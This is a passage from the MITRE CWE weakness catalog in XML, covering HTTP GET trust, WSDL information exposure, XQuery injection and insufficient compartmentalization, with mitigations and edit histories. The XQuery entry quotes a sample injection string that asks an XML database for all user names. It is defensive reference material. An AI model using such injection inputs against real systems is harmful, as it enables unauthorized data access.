			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "Links", Page 676.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows hard link</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="650" Name="Trusting HTTP Permission Methods on the Server Side" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The server contains a protection mechanism that assumes that
					any URI that is accessed using HTTP GET will not cause a state change to the
					associated resource. This might allow attackers to bypass intended access
					restrictions and conduct resource modification and deletion attacks, since some
					applications allow GET to modify state.</Description_Summary>
				        <Extended_Description>
					          <Text>An application may disallow the HTTP requests to perform DELETE, PUT and
						POST operations on the resource representation, believing that it will be
						enough to prevent unintended resource alterations. Even though the HTTP GET
						specification requires that GET requests should not have side effects, there
						is nothing in the HTTP protocol itself that prevents the HTTP GET method
						from performing more than just query of the data. For instance, it is a
						common practice with REST based Web Services to have HTTP GET requests
						modifying resources on the server side. Whenever that happens however, the
						access control needs to be properly enforced in the application. No
						assumptions should be made that only HTTP DELETE, PUT, and POST methods have
						the power to alter the representation of the resource being accessed in the
						request.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The application allows HTTP access to resources.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The application is not properly configured to enforce access controls
						around the resources accessible via HTTP.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could escalate privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could obtain sensitive information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Configure ACLs on the server side to ensure that proper level of
							access control is defined for each accessible resource representation.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>The HTTP GET method is designed to retrieve
						resources and not to alter the state of the application or resources on the
						server side. However, developers can easily code programs that accept a HTTP
						GET request that do in fact create, update or delete data on the server.
						Both Flickr
						(http://www.flickr.com/services/api/flickr.photosets.delete.html) and
						del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete
						operations using standard HTTP GET requests. These HTTP GET methods do
						delete data on the server side, despite being called from GET, which is not
						supposed to alter state.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Enabling_Factors_for_Exploitation</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="651" Name="Information Exposure Through WSDL File" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The Web services architecture may require exposing a WSDL file
					that contains information on the publicly accessible services and how callers of
					these services should interact with them (e.g. what parameters they expect and
					what types they return).</Description_Summary>
				        <Extended_Description>
					          <Text>An information exposure may occur if any of the following apply:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>The WSDL file is accessible to a wider audience than intended.</Text>
						            <Text>The WSDL file contains information on the methods/services that should
							not be publicly accessible or information about deprecated methods. This
							problem is made more likely due to the WSDL often being automatically
							generated from the code.</Text>
						            <Text>Information in the WSDL file helps guess names/locations of
							methods/resources that should not be publicly accessible.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Often"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The system employs a web services architecture.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>WSDL is used to advertise information information on how to communicate
						with the service.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may find sensitive information located in the WSDL
							file.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Limit access to the WSDL file as much as possible. If services are
							provided only to a limited number of entities, it may be better to
							provide WSDL privately to each of these entities than to publish WSDL
							publicly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Make sure that WSDL does not describe methods that should not be
							publicly accessible. Make sure to protect service methods that should
							not be publicly accessible with access controls.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not use method names in WSDL that might help an adversary guess
							names of private methods/resources used by the service.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>The WSDL for a service providing information on
						the best price of a certain item exposes the following method: float
						getBestPrice(String ItemID) An attacker might guess that there is a method
						setBestPrice (String ItemID, float Price) that is available and invoke that
						method to try and change the best price of a given item to their advantage.
						The attack may succeed if the attacker correctly guesses the name of the
						method, the method does not have proper access controls around it and the
						service itself has the functionality to update the best price of the
						item.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Information Leak through WSDL
						File</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="652" Name="Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to dynamically construct an
					XQuery expression used to retrieve data from an XML database, but it does not
					neutralize or incorrectly neutralizes that input. This allows an attacker to
					control the structure of the query.</Description_Summary>
				        <Extended_Description>
					          <Text>The net effect is that the attacker will have control over the information
						selected from the XML database and may use that ability to control
						application flow, modify logic, retrieve unauthorized data, or bypass
						important checks (e.g. authentication).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>91</Relationship_Target_ID>
					          <!--XML Injection (aka Blind XPath Injection)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is similar to other weaknesses that enable injection style
						attacks, such as SQL injection, command injection and LDAP injection. The
						main difference is that the target of attack here is the XML
						database.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>XQL queries are constructed dynamically using user supplied input that has
						not been sufficiently validated.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker might be able to read sensitive information from the XML
							database.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use parameterized queries. This will help ensure separation between
							data plane and control plane.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Properly validate user input. Reject data where appropriate, filter
							where appropriate and escape where appropriate. Make sure input that
							will be used in XQL queries is safe in that context.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>From CAPEC 84: An attacker can pass XQuery
						expressions embedded in otherwise standard XML documents. Like SQL injection
						attacks, the attacker tunnels through the application entry point to target
						the resource access layer. The string below is an example of an attacker
						accessing the accounts.xml to request the service provider send all user
						names back. doc(accounts.xml)//user[name='*'] The attacks that are possible
						through XQuery are difficult to predict, if the data is not validated prior
						to executing the XQL.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XQuery Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>46</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Unsafe Treatment of XQuery
						Input</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Data
						within XQuery Expressions (aka 'XQuery Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Data
						within XQuery Expressions ('XQuery Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="653" Name="Insufficient Compartmentalization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not sufficiently compartmentalize
					functionality or processes that require different privilege levels, rights, or
					permissions.</Description_Summary>
				        <Extended_Description>
					          <Text>When a weakness occurs in functionality that is accessible by
						lower-privileged users, then without strong boundaries, an attack might
						extend the scope of the damage to higher-privileged users.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>There is a close association with CWE-250 (Execution with Unnecessary
						Privileges). CWE-653 is about providing separate components for each
						privilege; CWE-250 is about ensuring that each component has the least
						amount of privileges possible. In this fashion, compartmentalization becomes
						one mechanism for reducing privileges.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Separation of Privilege</Term>
					          <Alternate_Term_Description>
						            <Text>Some people and publications use the term "Separation of Privilege" to
							describe this weakness, but this term has dual meanings in current
							usage. This node conflicts with the original definition of "Separation
							of Privilege" by Saltzer and Schroeder; that original definition is more
							closely associated with CWE-654. Because there are multiple
							interpretations, use of the "Separation of Privilege" term is
							discouraged.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The term "Separation of Privilege" is used in several different ways in
						the industry, but they generally combine two closely related principles:
						compartmentalization (this node) and using only one factor in a security
						decision (CWE-654). Proper compartmentalization implicitly introduces
						multiple factors into a security decision, but there can be cases in which
						multiple factors are required for authentication or other mechanisms that do
						not involve compartmentalization, such as performing all required checks on
						a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke
						further discussion.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The exploitation of a weakness in low-privileged areas of the software
							can be leveraged to reach higher-privileged areas without having to
							overcome any additional obstacles.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Break up privileges between different modules, objects or entities.
							Minimize the interfaces between modules and require strong access
							control between them.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Single sign-on technology is intended to make it easier for users to
						access multiple resources or domains without having to authenticate each
						time. While this is highly convenient for the user and attempts to address
						problems with psychological acceptability, it also means that a compromise
						of a user's credentials can provide immediate access to all other resources
						or domains.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The traditional UNIX privilege model provides root with arbitrary
						access to all resources, but root is frequently the only user that has
						privileges. As a result, administrative tasks require root privileges, even
						if those tasks are limited to a small area, such as updating user man pages.
						Some UNIX flavors have a "bin" user that is the owner of system executables,
						but since root relies on executables owned by bin, a compromise of the bin
						account can be leveraged for root privileges by modifying a bin-owned
						executable, such as CVE-2007-4238.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
